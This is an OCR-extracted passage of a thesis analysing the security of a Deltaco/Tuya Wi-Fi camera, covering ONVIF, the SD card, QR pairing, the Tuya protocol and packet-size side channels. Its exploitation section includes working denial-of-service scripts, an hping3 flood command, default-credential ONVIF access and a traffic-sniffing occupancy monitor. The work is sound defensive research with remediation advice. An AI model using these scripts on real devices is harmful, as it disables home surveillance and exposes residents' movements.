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4.2.2.2 Stream media

Streaming from the camera is described in figure 4.3. The traffic is encrypted
soitis difficult to determine how the communication works between the device
and the cloud. Two different scenarios are likely, the device polls the cloud for
instructions or a connection between the cloud and the device is established
which is used over an extended period of time. Neither could be proven.

APP Camera Cloud

| 1: RequestMediaStream

|
|
i P
|
| 2: StreamP2PCommand |
| <
| 3: STUNP2PSetup
I P
|
4: STUNP2PSetup ’
 — _ AddressToP2PDevice _ _ |
AddressToP2PDevice
K————————————— = Ittty
| |
5: StartMediaStream
> I
Stream
S L4 L ——
|

Figure 4.3: Stream media from app sequence

4.2.2.3 Motion detection notification

When enabled in the app the device can send motion or sound detection
notification that will be visible in the app connected to the device, see figure
4.4 for the sequence flow.

4.2.2.4 Recording media locally

The use case of recording media is as follows:

1. Put SD card in device
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Cloud Camera

|
1: EnableMotionDetection >

3: MotionDetected

<

APP
| |
| |
|
‘ 2: EnableMotionDetection "
| |
|
’1 4: MotionDetected
|
| |
| |
| |
| |
| |
| |
| |

Figure 4.4: Stream media from app sequence

2. Enable recording once the device has recognized SD card.
3. Device stores the recordings as 40-45 second long chunks to SD card
4. User can use app to view old media recordings

5. User can remove SD card and view media recordings as mp4 files

4.2.2.5 2-way communication

1. User press designated microphone button in app
2. User speaks into app microphone

3. Device plays the message on the device speaker

4.2.2.6 ONVIF Stream

1. Query the endpoint onvif/Media

2. Use the provided URL to stream video
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4.2.2.7 Change settings

1. User changes setting in application
2. App sends change to cloud
3. Cloud communicates change to device

4. Device changes setting

4.2.3 Attack surface decomposition

The analysis yielded the attack surface decomposition as modeled in figure
4.5.

Ports Ports
[ 67DHCPs ) { 6668 IRC ]
[ 3702 WS-Discover ] [ 8000 HTTP I Onvif
[ 3703 Adobe Server 3 ] { 8554 RTSP J iﬂa:g;d

\ / Tuya Cloud
v $
“,, UDP TCP L}f
%
%& /
I’

Tuya Custom Protocol

MQTT

Access Point

y %
Reset button o E WiFi (( ))
SD-cardslot 10—
loT camera E

o P2P

Hardware o P2P Tuya
Serial pins? -

( MicroUSB ) -

A4

Figure 4.5: Attack surface decomposition
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4.3 Exploitation

The results of the exploitation phase where the prioritized threats are reviewed.

4.3.1 SD-Card

If someone has physical access to the device, they may enter an SD-card into
the available slot that is meant to be used to store recorded media.

Unsuccessful attacks During the tests it appeared to be that the data is only
evaluated by the device when a user is trying to access the recorded media via
the mobile application.

To evaluate the device behavior the data on the SD-card was manipulated
in different ways.

Removing media files without modifying the index file the device would
clear all the media files from the SD-card, no other behavior became
apparent.

Removing rows of a media file in the index file would trigger the device
to remove the media file without displaying any other behavior.

Replacing a media file with a different media file of the same length and
the same name, no files were deleted but the user was unable to see the
media in the mobile application. In fact, the mobile application simply
showed that nothing was recorded during the period that the media file
replaced had been recording, possibly indicating that the device simply
disregarded files it did not perceive as being of the correct format.

Replacing a media file with a different media file with the size of roughly
40 Mb and changing the length in the index file caused a device crash if
the user tried to access the file via the application. Possibly indicating
that the size of the video caused memory exhaustion.

Modifying the index file had few consequences. When changing the play
time of a media file in the index file the mobile application would either
show that the media recording was shorter or longer than it actually
was, but the playback would work the same way it had done before
the modification of the index file. Invalid data in the length description
would simply make the file not appear in the mobile application.
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» Changing the type of the entry in an index file it would be ignored by
the device.

* Trying to access other files on the device by modifying the name of
the file in the index file it would be ignored, as previously mentioned
possibly because files not matching what the device expected are ignored.

4.3.2 ONVIF

The ONVIF port opens the possibility for a DoS attack due to it being a
service accepting any requests. Since the service uses default credentials
admin:admin this increases the success probability. Also, the device does not
verify the supplied nonce and created date which enables arbitrary values to
be sent.

This exploit is only possible if the user has enabled ONVIF in the app and
the attacker is on the same network or the user has configured its network to
expose the port to the internet. The importance is that the attacker can query
the ONVIF service to exploit the vulnerability. Since ONVIF communicates
over SOAP, XML attacks became interesting.

Due to XML being parsed an attacker could send in malicious or malformed
XML to potentially harm the device [4]. An example of this is the Billion
laughs attack which relies on creating big XML payloads to use all memory
given to the parser [5]. Furthermore, the device does not validate the
nonce and created date used to authenticate which further shows a lacking
implementation. This can be seen in listing 4.1 where a request with old
credentials can be used to retrieve a valid response with a stream from the
device. The parser appear to be sophisticated enough to check for schema
poisoning attacks and XML entity expansion, which likely is due to SOAP not
using DTD which enables the parser to reject these types of messages. After
some testing the device also responded to any type of data sent to the endpoint,
thus sending valid XML is not necessary to make the exploit work.

4.3.2.1 Impact and severity of vulnerability

The vulnerability causes a device reboot, the attack is easy to carry out but
it also requires the attacker to have access to the LAN and that the user has
enabled ONVIF.
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4.3.2.2 Proof of concept

There are different ways to achieve the device reboot but the simplest is to send
along packet, see listing 4.2. Otherwise, long attribute names or long attribute
content will cause the same behavior.

4.3.2.3 Step to reproduce

To successfully use the vulnerability, follow these steps
1. Make sure device is connect to the same LAN and is linked to an account
2. Enable ONVIF via the settings menu in the app
3. Run the script in listing 4.2 against the device

<?xml version="1.0" encoding="utf-8"?>
<s:Envelope xmlns:s="http://www.w3.0rg/2003/05/socap-envelope">
<s:Header>
<Security s:mustUnderstand="1" xmlns="http://docs.oasis-
open.org/wss/2004/01/0asis-200401-wss-wssecurity-secext-1.0.
xsd" >
<UsernameToken>
<Username>admin</Username >
<Password Type="http://docs.oasis-open.org/wss
/2004/01/0asis-200401-wss-username —token-profile-1.0#
PasswordDigest">6KZX13jsvYLOE72Fb7Nc4tCFE60=</Password>
<Nonce EncodingType="http://docs.oasis-open.org/
wss /2004/01/0asis-200401-wss-soap-message —security-1.0#
Base64Binary">XdOvNthkfp/VCmVtoHr3QA==</Nonce >
<Created =xmlns="http://docs.oasis-open.org/wss
/2004/01/0asis-200401-wss-wssecurity-utility-1.0.xsd">
2017-06-01T10:29:01.001zZ</Created>
</UsernameToken>
</Security>
</s:Header>
<s:Body xmlns:xsi="http://www.w3.0rg/2001/XMLSchema-instance
" xmlns:xsd="http://www.w3.0rg/2001/XMLSchema">
<GetStreamUri xmlns="http://www.onvif.org/verl0/device/
wsdl">
<StreamSetup>
<Stream xmlns="http://www.onvif.org/verlO/schema">
RTP-Unicast</Stream>
<Transport >
<Protocol>RTSP</Protocol>
</Transport >
</StreamSetup>
<ProfileToken>IPCProfilesTokenO</ProfileToken>
</GetStreamUri >
</s:Body>
</s:Envelope>

Listing 4.1: ONVIF request retrieving the RTSP stream
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4.3.2.4 References for remediation

The XML parser should stop parsing once it detects malformed XML [5].
The script in listing 4.2 proves that it doesn’t check for the correct XML tags
and instead try to parse the whole message. Also, the SOAP does not state
maximum length on attribute names, attribute content and number of elements
which still would enable the same outcome by for example use a jumbo payload
attack instead [5].

import http.client

3 conn = http.client.HTTPConnection ("xx.xx.xx.xx:8000")
5 inject = "A"
headers = { 'Content-Type’: "application/xml" }
conn.request ("POST", "/onvif/device_service", inject*1000000 |,

headers)

res = conn.getresponse ()

> data = res.read /()

print (data.decode ("utf-8"))

Listing 4.2: Python script that causes a device reboot when sent to ONVIF

4.3.3 Tuya Custom Protocol

With port 6668 open and knowledge that some service is listening to it and
expecting messages of a known format it seemed worthwhile to probe it a bit
more. Unless a user has forwarded this port an attacker must be connected to
the same LAN.

Unsuccessful attacks It was possible to connect to the device by using third
party projects that had reverse engineered the Tuya custom protocol, but the
connection did not appear to result in any behavior from the device other than
ignoring the requests. The data received back from the device was consistently
encrypted and no attempts to decrypt the data were successful. This could
indicate that the device is using a protocol version that has not yet been publicly
reverse engineered.

It is not recommended to use the ECB mode with the AES encryption [38],
so if the protocol is still using AES ECB, it may be preferable to move to a
different mode of operation.

Sending commands that according to the third-party projects supported
plain text did not appear to have any effect either. Even when sending in
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oversized data or undocumented arguments no unexpected behavior could be
observed, which could indicate that the input data is being validated somehow
or that the functionality is not implemented and ignoring the input. It could
also mean that the messages sent were invalid and that the service simply
ignored invalid messages.

Sending in malformed messages with for example incorrect length fields
appeared to be ignored.

It was observed that sending a flood of UDP packets with garbage data
caused the device to behave strangely, but this was later confirmed to work on
other ports as well. See section 4.3.6 for further information.

4.3.4 QR code

The device uses a QR code to pair itself with the corresponding user. Since
this QR code contained a JSON payload tampering with the input data could
potentially cause unexpected behaviors.

In order to attack the device, the attacker needs to have physical access to
the device and the device have to be reset to factory defaults. The device then
enters a pairing mode where it will parse QR codes.

Unsuccessful attacks The generated QR code from the app was a JSON
payload specifying the SSID, password and a token. Tampering with these
parameters by adding more parameters and removing parameters often resulted
in nothing however in two cases the device entered an unknown state.

Firstly, if an invalid token is provided but correct SSID and password, the
device will connect to the network and start communication with the cloud
which can be observed in the outgoing traffic. The device can in this state
not be associated with an account, it seems as if the device enters a state with
no owner. Secondly, if the token is replaced with a URL the device will not
succeed connecting to the network and will be stuck in a connecting to Wi-Fi
loop.

The token is therefore only needed for pairing a device with corresponding
account, using old tokens does not add it to a specific account nor will it be
visible in the app. Providing long SSID, passwords or any other strings seems
to not be parsed since the device doesn’t change its status light or make any
sounds it would normally make during the setup.
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4.3.5 Motion and sound detection notification traffic

One of the functions that the device provides to its users is detection of
movement and sound. Upon detection the device can send notifications to
the users mobile application

If an attacker can look at the traffic some reoccurring data payloads can be
observed, the packets carry notification data and are always the same size. An
attacker in this case only needs to have access to the outgoing traffic in order
to detect these events, no authentication is needed nor is the ability to decrypt
the messages.

4.3.5.1 Impact and severity

The exploit itself is easy to perform given that the attacker knows the IP address
of the device. The information gathered depending on where the device is
located could be of concern. If the device is located by the main entrance
of a property the attacker can see trends when people enter and leave. This
information could, for example, be used by a malicious actor to determine
when a property is empty.

4.3.5.2 Proof of concept

Tepdump can be used with filters to grab the interesting packets, this in
conjunction with a python script can make the attack effective and simple to
use. Listing 4.3 provides the base for a python script which monitors when
either sound or motion is detected on the device.

import subprocess as sub

i

3 command = sudo tcpdump -gl -i <interface> src host <device ip>

and dst port 8883’ .split ()
p = sub.Popen (command, stdout=sub.PIPE)

for row in iter (p.stdout.readline, ''):
tcpsize = row.rstrip () .split () [-1].decode ()
if (tcpsize == "197"):
print (/' Sound detected’)
elif (tcpsize == ’'357"):
print ('Motion detected’)

Listing 4.3: Python script that detects motion and sound detection packets

4.3.5.3 Steps to reproduce

Assuming the attacker can intercept the traffic:
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1. Find the IP address of the device

2. Start the script with device IP address

4.3.5.4 Remediation

As seen in listing 4.3 motion notifications were always 357 bytes and sound
notifications 197 bytes. One simple and effective way to prevent side channel
packet attacks is to implement packet size obfuscation [39], this makes it
harder for an attacker to identify the corresponding packets.

4.3.6 UDP flooding

During the port scan of the device several ports were found to be open and
open ports are always a potential issue when it comes to traffic flooding. To
be able to flood the device with packets an attacker must be connected to the
same LAN or the devices susceptible ports must be forwarded so that they are
exposed to the Internet. Two different UDP floods were found to be successful.

4.3.6.1 UDP flood one

When sending UDP packets to some ports the device responded by sending
Destination Unreachable Message ICMP messages. When sending a flood
of UDP packets from randomized source the device will send out an ICMP
reply to each IP. It appears that the hardware is not does not have enough
resources to be able to maintain its other tasks while sending all of the ICMP
messages. It results in the media stream freezing and occasionally appearing
offline from the user app until the flood attack stopped. The ports which the
attack works on appears to be arbitrary. The attack consistently works on port
67, and sometimes it works on other ports such as 3703.

4.3.6.2 UDP flood two

The second UDP flood. During the analysis of the Tuya Custom Protocol, it
was discovered that the device also was susceptible to a flooding with UDP
packets that contained a very large payload. The device would be sent up to
50 000 UDP packets that were close to the maximum size limit, about 64000
bytes per packet. The flood made the device freeze, crash, and reboot but once
the device had started up again the connection would sometimes be refused.
Changing to other ports would allow the attack could continue. It quickly
became apparent that the flood was effective on almost all other open ports
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as well, and some of them never refused the connection no matter how many
times the device was crashed.

import socket

3 msg = bytes ("a"*64000, ’'utf-8")
ip = "xx.xx.xx.xx"
ports = [67, 3702, 3703, 8000, 6668]
port_selector = 0
active_port = ports[port_selector]
s = socket.socket (socket .AF_INET, socket.SOCK_DGRAM)

def await_host_up (ip, port):
print ("Awaiting host up...")

s = socket.socket (socket .AF_INET, socket.SOCK_STREAM)
e = =1
while(c != 0):
c = s.connect_ex ((ip, port))
s.close ()
return
3 while (1) :

await_host_up (ip, 6668)

for i in range (50000) :

if(i % 1000 == 0):
print ("[", active_port, "] Sent:", i, "packets")

try:
s.connect ((ip, active_port))
s.send (msqg)

except ConnectionRefusedError:
port_selector = (port_selector + 1) % len (ports)
active_port = ports[port_selector]
print ("Connection error. Changing to port ",
active_port)

Listing 4.4: Python denial of service script

4.3.6.3 Impact and severity

The first flood rendered the device unusable by freezing the media stream to
the users, very infrequently it may be able to send some media frames. The
second flood completely crashed the device causing it to reboot and if the
flood is continued the device will effectively enter a boot loop until the flood
is stopped. The device is in both cases rendered completely unusable, but the
second attack appears to be more significant considering the crashes.
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4.3.6.4 Proof of concept

The first flood was performed with the tool hping3 [40] by flooding small
UDP packets with random source addresses to port 67 on the device.

The second attack was performed with a script that was originally used to
probe at the Tuya custom protocol, the refined version can be viewed at listing
4.4. The script will continuously send a flood of massive packets to an open
port until the connection is refused or the device goes down. If the connection
is refused the script will change to another open port and continue the flood, if
the device goes down the script will wait for the device to start up again before
it continues the flood.

4.3.6.5 Steps to reproduce

The first flood can be performed by running hping3 as below:

hping3 -2 -c 10000 -d 128 -S -p 67 \
——flood —-—-rand-source <device 1ip>

The second flood can be performed by running the script as provided in listing
4.4.

4.3.6.6 Remediation

The first flood appears to be effective due to the device being overloaded
by responding with ICMP messages rather than handling the flood of UDP
packets since the flood has no effect if the IP sources of the packets are all the
same. According to RFC 792 [14] a host may return a Destination Unreachable
Message if the receiving port does not have an active service listening to it. It’s
not mandatory behavior and not sending the messages would allow the device
to focus the hardware resources on more important tasks.

The crashes that occur during the second flood are more difficult to
speculate about.
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Chapter 5

Discussion

The analysis points to the fact that the device is fairly secure against the
interfaces that have been reviewed. It uses TLS 1.2 for the communication
with the cloud servers, although the certificates have not been analyzed it is
good that a secure TLS version is being used. Some of the open ports, such
as UDP 3703, could not be probed for any information which makes it much
more difficult for an attacker to achieve anything. It also appears that there are
no unnecessary ports open which minimizes the attack surface. Although the
ONVIF functionality is configured with default passwords, it is encouraging
to see that the functionality is not enabled by default considering that most
users are unlikely to need the functionality or perhaps not even know what it
is. The mobile application should suggest to the user that they should change
the password when enabling ONVIF.

5.1 Tuya

The choice of using a third-party cloud solution comes with positives and
negatives. One positive is that it enables companies that normally operate
in other domains to enter the IoT market without having to develop their own
cloud solution and hardware. It reduces company costs and prevent rushed
product development to meet the time to market requirements. By relying on a
well-established cloud solution the companies may avoid many of the security
risks associated with developing their own solution. On the other hand, the
consumer may be thinking that they are buying a Swedish product with their
own mobile application. Instead, they are using a rebranded app that runs on
a Chinese cloud. Although the user agrees upon sharing personal data when
signing up it is still hard to understand where the data ends up. The traffic
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analysis shows that the traffic goes to AWS servers in Germany, but Tuya is
Chinese owned and the research has no insight into what happens with the
data after it reaches the servers in Germany.

5.2 Mobile application

When decompiling the mobile application, no sensitive information could be
found, this is good since this is a place where hard coded API keys or similar
can be found.

After analyzing the mobile application no sensitive information such as
hardcoded API keys or other secrets could be identified, which is good.
Though there was some usage of MDS5 hashing, but as long as it is not used in
circumstances where collisions are a concern it should not be a problem.

5.3 SD-Card

The analysis of the SD-card functionality was not exhaustive, there are other
hardware attacks that can be explored, but the focus was the software services
that interacted with the SD-card. It is difficult to say that there are no issues
with it but non that were obvious could be identified.

When replacing a media file recording with a large media file the device
crashed when the mobile application user requested to view the recording, that
may indicate some sort of issue, but the impact was considered low due to the
required user interaction so no further follow up was considered worthwhile.

5.4 ONVIF & RTSP

The ONVIF implementation in the device is lacking because the specification
is not followed, the device is supposed to run on ONVIF profile S. ONVIF
states a few mandatory function however several of these were not implemented.
The fact that the device does not implement all functions can be seen as both
good and bad. It is considered good practice to not expose more endpoints than
needed to limit potential attack vectors. On the other hand, not implementing
all functions can be an indication of bad coding practices, either because
developers could not figure out how to achieve a certain functionality or rushed
development. Interpreting the specification for ONVIF was not easy, and that
could be a reason for skipping part of it in the implementation.
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Another concerning implementation detail is the authentication required to
reach certain endpoints. When using the timestamp as a part of the password
digest WS-Security requires that the date and time should be validated, but the
implementation in the device does not do this. Instead the device only checks
if the username and password is correct and then grants access. Although the
research did not identify a way to abuse the authentication, it is certainly of
interest for further investigation, since it may indicate that some shortcuts were
taken during development.

One good thing with the implementation is that the RTSP URLs could not
be enumerated. This makes it harder for an attacker to gain the access to the
video stream from the device. This is both true for the retrieving the stream
from the cloud and retrieving the stream directly from the device. However, if
the user has enabled ONVIF but not changed the default credentials it is still
easy to obtain the stream. There is no good reason to use default credentials
in this way, and to not provide the users with information about the default
credentials is strange and potentially damaging.

5.5 Tuya Custom Protocol

The device appears to communicate with the protocol, but the message
payloads are encrypted with the key that apparently only can be obtained by
someone that has the credentials to log into the Tuya cloud platform. Since
an attacker typically will not have the credentials, it should not be possible to
decrypt the payload even if the payload encryption is known. It seems like the
protocol mostly keep evolving with new versions to prevent users from using
the devices directly rather than using the cloud to communicate with them.

Even though no unexpected behavior was observed when sending specially
crafted messages directly to the port, it does not mean that there are no issues
with the software that is processing the input data. There could still be some
issues that were not triggered in the testing, but the port is seemingly secure.
If it is possible to obtain the software that is listening to the port it should be
analyzed in depth where the data is being received, parsed, and handled.

The port was susceptible to a UDP packet flood attack, which sometimes
caused the device to crash and reboot. It would be interesting to know what
exactly caused the device to reboot and why the attacker after the reboot is
unable to continue the attack. The attack could be used to temporarily stop the
flow of information to and from the device.

Analyzing the message protocol further would be preferable, but with the
time constraints it was not possible to delve deeper into the particular issue.
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5.6 QR code

The pairing procedure overall, appears to be secure. From what can be seen
in figure 4.2 there are not many potential attack vectors to be exploited. But
interestingly as mentioned in exploits the device can enter two unknown states.
These could be of interest to investigate further since the behavior is something
that is not documented on Tuya. The only flow Tuya provides is what can be
seen in 4.2. This might open up for potential security holes that could be used.
One of them more interesting since it seems to connect to some arbitrary Tuya
account.

5.7 Motion and sound detection

Although the information disclosure may not appear to be so significant it
could for some users be a privacy concern that realistically should have a fairly
simple remedy.

5.8 UDP flooding

Since the device is a camera that may be used for home surveillance, it is
problematic that it is possible to take it offline or stress to the extent that a user
is unable to use it. It would allow an attacker to effectively disable the device
at will.

The first type of flooding attack seems to only stress the device hardware
beyond its limit which denies the user access to the device. The fact that the
second type of attack works on several different ports may suggests that it is not
just the application-level software that is the issue. It could be that the device
hardware or low-level drivers works poorly or that there is some configuration
that does not allow the device to simply ignore the packets. It could also be
that the device hardware is inadequate to manage the packets to the extent it
is necessary when trying to ignore them. The authors are unable to present a
satisfying remedy for the issue, but an analysis performed by researchers with
more specialized knowledge may help.

After reading several other works that set out to analyze the security of
IoT devices it appears that many are susceptible to DoS attacks. The common
denominator seems to be that the devices often have just enough hardware
support to run the necessary software. One might speculate that the push for
inexpensive devices has forced the manufacturers to use hardware that has no



Discussion |43

margin for load spikes that are outside of the intended operation, so that it is
unable to withstand the type of pressure that a modern laptop is able to produce
via a packet flood.



44 | Conclusions and Future work

Chapter 6

Conclusions and Future work

6.1 Conclusions

The goal of this research was to carry out a security analysis of the Deltaco
SH-IPCO5 WIFI Camera by using the PatrloT methodology.

Besides the information leakage with regards to the network traffic, the
identified DoS attack issues and the default username and password for
ONVIF, there were no obvious vulnerabilities identified within the limitations
of the research.

Many of the common issues that have been identified in similar devices are
not present. For example there is no web interface available and the network
traffic is encrypted which significantly reduces the attack surface.

Using PatrloT assisted the work by providing a structured and well-
defined methodology. When carrying out the work it also helped with time
management since it emphasizes tasks that will have a bigger probability of
returning interesting results.

6.2 Future work

With the continuous growth of IoT it will be valuable to keep analyzing
new devices to make sure that their manufacturers are assisted with and held
accountable for producing secure devices. This work did not account for
hardware or cloud security so that may be a suitable area to look into in the
future. It could also be of interest to do some research in cooperation with
Tuya since it is a massively used IoT platform.



REFERENCES | 45

References

[1]

[5]

Anvdndning av sammankopplade enheter eller system som kan overvakas
eller fjdrrstyras via internet (Internet of Things) efter redovisningsgrupp.
[Online]. Available: https : / /www . statistikdatabasen .
scb.se/sq/125173 (visited on 05/10/2022).

F. Heiding, E. Siiren, and J. Olegard, “Penetration testing of connected
households”, en, p. 13,

E. Siiren, F. Heiding, J. Olegérd, and R. Lagerstrom, “PatrloT: Practical
and agile threat research for IoT”, en, p. 37,

J. Melton and S. Buxton, Querying XML: XQuery, XPath, and SQL/XML

in context, en, ser. The Morgan Kaufmann series in data management
systems. San Francisco, Calif: Morgan Kaufmann, 2006, OCLC: ocm64314356,
ISBN: 978-1-55860-711-8.

XML Security - OWASP Cheat Sheet Series. [Online]. Available: https:
/ / cheatsheetseries.owasp.orqg/cheatsheets/XML_
Security_Cheat_Sheet.html (visited on 04/25/2022).

H. Schulzrinne, A. Rao, R. Lanphier, M. Westerlund, and M. Stiemerling,
“Real-Time Streaming Protocol Version 2.0”, Internet Engineering
Task Force, Request for Comments RFC 7826, Dec. 2016, Num Pages:
318. por: 10 . 17487 / RFC7826. [Online]. Available: https :
/ / datatracker . ietf . org / doc / rfc7826 (visited on
04/28/2022).

SOAP Version 1.2 Part 1: Messaging Framework (Second Edition).
[Online]. Available: https : / /www . w3 . org/ TR/ soapl2/
(visited on 04/28/2022).

SOAP Message Security Specification. [Online]. Available: https :
//docs.ocasis-open.org/wss/vl.1l/wss-vl.l-spec-
0s—SOAPMessageSecurity.pdf (visited on 04/12/2022).


https://www.statistikdatabasen.scb.se/sq/125173
https://www.statistikdatabasen.scb.se/sq/125173
https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html
https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html
https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html
https://doi.org/10.17487/RFC7826
https://datatracker.ietf.org/doc/rfc7826
https://datatracker.ietf.org/doc/rfc7826
https://www.w3.org/TR/soap12/
https://docs.oasis-open.org/wss/v1.1/wss-v1.1-spec-os-SOAPMessageSecurity.pdf
https://docs.oasis-open.org/wss/v1.1/wss-v1.1-spec-os-SOAPMessageSecurity.pdf
https://docs.oasis-open.org/wss/v1.1/wss-v1.1-spec-os-SOAPMessageSecurity.pdf

46 | REFERENCES

[10]

[11]

[12]

[13]

[14]

[15]

[16]

[17]

[18]

[19]

[20]

Our Mission, en. [Online]. Available: https://www.onvif.org/
about/mission/ (visited on 04/28/2022).

“ONVIF Core Specification”, en, p. 119,

Web Service Definition Language (WSDL). [Online]. Available: https:
//www.w3.0rg/TR/2001/NOTE-wsdl-20010315 (visited on
04/28/2022).

Conformant Products, en. [Online]. Available: https : / / www .
onvif.org/conformant-products/ (visited on 05/10/2022).

R. T. Braden, “Requirements for Internet Hosts - Communication
Layers”, Internet Engineering Task Force, Request for Comments RFC
1122, Oct. 1989, Num Pages: 116. por: 10 . 17487 / RFC1122.
[Online]. Available: https://datatracker.ietf.org/doc/
rfcl122 (visited on 05/09/2022).

“Internet Control Message Protocol”, Internet Engineering Task Force,
Request for Comments RFC 792, Sep. 1981, Num Pages: 21. por: 10.
17487 /RFC0792.[Online]. Available: https://datatracker.
ietf.org/doc/rfc792 (visited on 04/25/2022).

About Tuya | Tuya Smart. [Online]. Available: https : / / www .
tuya.com/about (visited on 04/29/2022).

Understanding Denial-of-Service Attacks | CISA. [Online]. Available:
https://www.cisa.gov/uscert/ncas/tips/ST04-015
(visited on 05/09/2022).

Home | TCPDUMP & LIBPCAP. [Online]. Available: https : / /
www . tcpdump . org/ (visited on 05/02/2022).

Wireshark - Go Deep. [Online]. Available: https://www.wireshark.
org/ (visited on 05/02/2022).

Nmap: the Network Mapper - Free Security Scanner. [Online]. Available:
https://nmap.org/ (visited on 05/02/2022).

OASIS Web Services Dynamic Discovery (WS-Discovery) Version 1.1.
[Online]. Available: http://docs . oasis—-open.org/ws—
dd/discovery/1.1/wsdd-discovery—-1.1-spec.html
(visited on 05/09/2022).


https://www.onvif.org/about/mission/
https://www.onvif.org/about/mission/
https://www.w3.org/TR/2001/NOTE-wsdl-20010315
https://www.w3.org/TR/2001/NOTE-wsdl-20010315
https://www.onvif.org/conformant-products/
https://www.onvif.org/conformant-products/
https://doi.org/10.17487/RFC1122
https://datatracker.ietf.org/doc/rfc1122
https://datatracker.ietf.org/doc/rfc1122
https://doi.org/10.17487/RFC0792
https://doi.org/10.17487/RFC0792
https://datatracker.ietf.org/doc/rfc792
https://datatracker.ietf.org/doc/rfc792
https://www.tuya.com/about
https://www.tuya.com/about
https://www.cisa.gov/uscert/ncas/tips/ST04-015
https://www.tcpdump.org/
https://www.tcpdump.org/
https://www.wireshark.org/
https://www.wireshark.org/
https://nmap.org/
http://docs.oasis-open.org/ws-dd/discovery/1.1/wsdd-discovery-1.1-spec.html
http://docs.oasis-open.org/ws-dd/discovery/1.1/wsdd-discovery-1.1-spec.html

REFERENCES | 47

[21] M. Petit-Huguenin, G. Salgueiro, J. Rosenberg, D. Wing, R. Mahy, and
P. Matthews, “Session Traversal Utilities for NAT (STUN)”, Internet
Engineering Task Force, Request for Comments RFC 8489, Feb. 2020,
Num Pages: 67. por: 10 . 17487 / RFC8489. [Online]. Available:
https://datatracker.ietf.org/doc/rfc8489 (visited
on 04/12/2022).

[22] S. O. Bradner, “Key words for use in RFCs to Indicate Requirement
Levels”, Internet Engineering Task Force, Request for Comments RFC
2119, Mar. 1997, Num Pages: 3. po1: 10.17487/RFC2119. [Online].
Available: https : / / datatracker . ietf . org / doc /
rfc2119 (visited on 04/12/2022).

[23] AltoBeam Company Profile. [Online]. Available: https : / / www .
altobeam.com/en/channels/96.html (visited on 04/11/2022).

[24] Onvif Profile S Specification. [Online]. Available: https : / / www .
onvif.org/wp-content /uploads/2019/12/0ONVIF_
Profile_ — S _ Specification _ vl — 3 . pdf (visited on
04/11/2022).

[25] Wsdd-discover NSE script — Nmap Scripting Engine documentation.
[Online]. Available: https://nmap.org/nsedoc/scripts/
wsdd—-discover.html (visited on 04/12/2022).

[26] Deltaco Smart Home SH-IPCOS5. [Online]. Available: https : / /
www . deltaco . se/produkter /deltaco/smart —home /
s%$C3%A4dkerhet /SH-TIPCO5 (visited on 04/12/2022).

[27] Deltaco Privacy Policy. [Online]. Available: https : / / www .
deltaco.se/Documents/SMART-HOME/Privacy%20Policy.
doc (visited on 04/11/2022).

[28] Tuya IoT Platform. [Online]. Available: https : //iot . tuya.
com/ (visited on 04/15/2022).

[29] Service Name and Transport Protocol Port Number Registry. [Online].
Available: https : / / www . iana . org / assignments /
service—-names—-port-numbers/service-names-port-
numbers.xhtml (visited on 04/21/2022).

[30] Getting Irssi. [Online]. Available: https://irssi.org/download/
(visited on 04/21/2022).


https://doi.org/10.17487/RFC8489
https://datatracker.ietf.org/doc/rfc8489
https://doi.org/10.17487/RFC2119
https://datatracker.ietf.org/doc/rfc2119
https://datatracker.ietf.org/doc/rfc2119
https://www.altobeam.com/en/channels/96.html
https://www.altobeam.com/en/channels/96.html
https://www.onvif.org/wp-content/uploads/2019/12/ONVIF_Profile_-S_Specification_v1-3.pdf
https://www.onvif.org/wp-content/uploads/2019/12/ONVIF_Profile_-S_Specification_v1-3.pdf
https://www.onvif.org/wp-content/uploads/2019/12/ONVIF_Profile_-S_Specification_v1-3.pdf
https://nmap.org/nsedoc/scripts/wsdd-discover.html
https://nmap.org/nsedoc/scripts/wsdd-discover.html
https://www.deltaco.se/produkter/deltaco/smart-home/s%C3%A4kerhet/SH-IPC05
https://www.deltaco.se/produkter/deltaco/smart-home/s%C3%A4kerhet/SH-IPC05
https://www.deltaco.se/produkter/deltaco/smart-home/s%C3%A4kerhet/SH-IPC05
https://www.deltaco.se/Documents/SMART-HOME/Privacy%20Policy.doc
https://www.deltaco.se/Documents/SMART-HOME/Privacy%20Policy.doc
https://www.deltaco.se/Documents/SMART-HOME/Privacy%20Policy.doc
https://iot.tuya.com/
https://iot.tuya.com/
https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml
https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml
https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml
https://irssi.org/download/

48 | REFERENCES

[31]

[32]

[33]

[34]

[35]

[36]

[37]

[38]

[39]

[40]

M. Isom, TuyAPI, original-date: 2017-10-25T14:45:32Z, Apr. 2022.
[Online]. Available: https : / / github . com/ codetheweb /
tuyapi (visited on 04/15/2022).

Tuyapi/cli, original-date: 2018-06-27T02:17:48Z, Apr. 2022. [Online].
Available: https://github.com/TuyaAPI /cli (visited on
04/21/2022).

Z.Zahariev, TuyAPI, original-date: 2021-12-04T07:11:41Z, Dec. 2021.
[Online]. Available: https://github.com/harryzz/tuyapi
(visited on 04/22/2022).

B. Pan, Dex2jar, original-date: 2015-03-16T09:13:07Z, Apr. 2022.
[Online]. Available: https://github.com/pxb1988/dex2jar
(visited on 04/12/2022).

JD-GUI, original-date: 2015-03-25T05:28:41Z, Apr. 2022. [Online].
Available: https://github.com/ java-decompiler/ jd-
gui (visited on 04/12/2022).

S. Turner, “Updated Security Considerations for the MD5 Message-
Digest and the HMAC-MD5 Algorithms”, Internet Engineering Task
Force, Request for Comments RFC 6151, Mar. 2011, Num Pages:
7. por: 10 .17487 /RFC6151. [Online]. Available: https : / /
datatracker.ietf.org/doc/rfc6151 (visited on 04/12/2022).

Smart Camera Pairing in QR Code Mode-1oT App SDK-Tuya Developer.
[Online]. Available: https : / / developer . tuya.com/en/
docs/app-development /camera—scan—code—network-
configuration?id=Kaixkcv3adu8y (visited on 04/12/2022).

A. Menezes, J. Katz, P. van Oorschot, and S. Vanstone, Handbook of
Applied Cryptography, ser. Discrete Mathematics and Its Applications.
CRC Press, 1996, 1sBN: 978-1-4398-2191-6.

S. Xiong, A. D. Sarwate, and N. B. Mandayam, “Defending Against
Packet-Size Side-Channel Attacks in Iot Networks”, en, in 20/8 IEEE
International Conference on Acoustics, Speech and Signal Processing
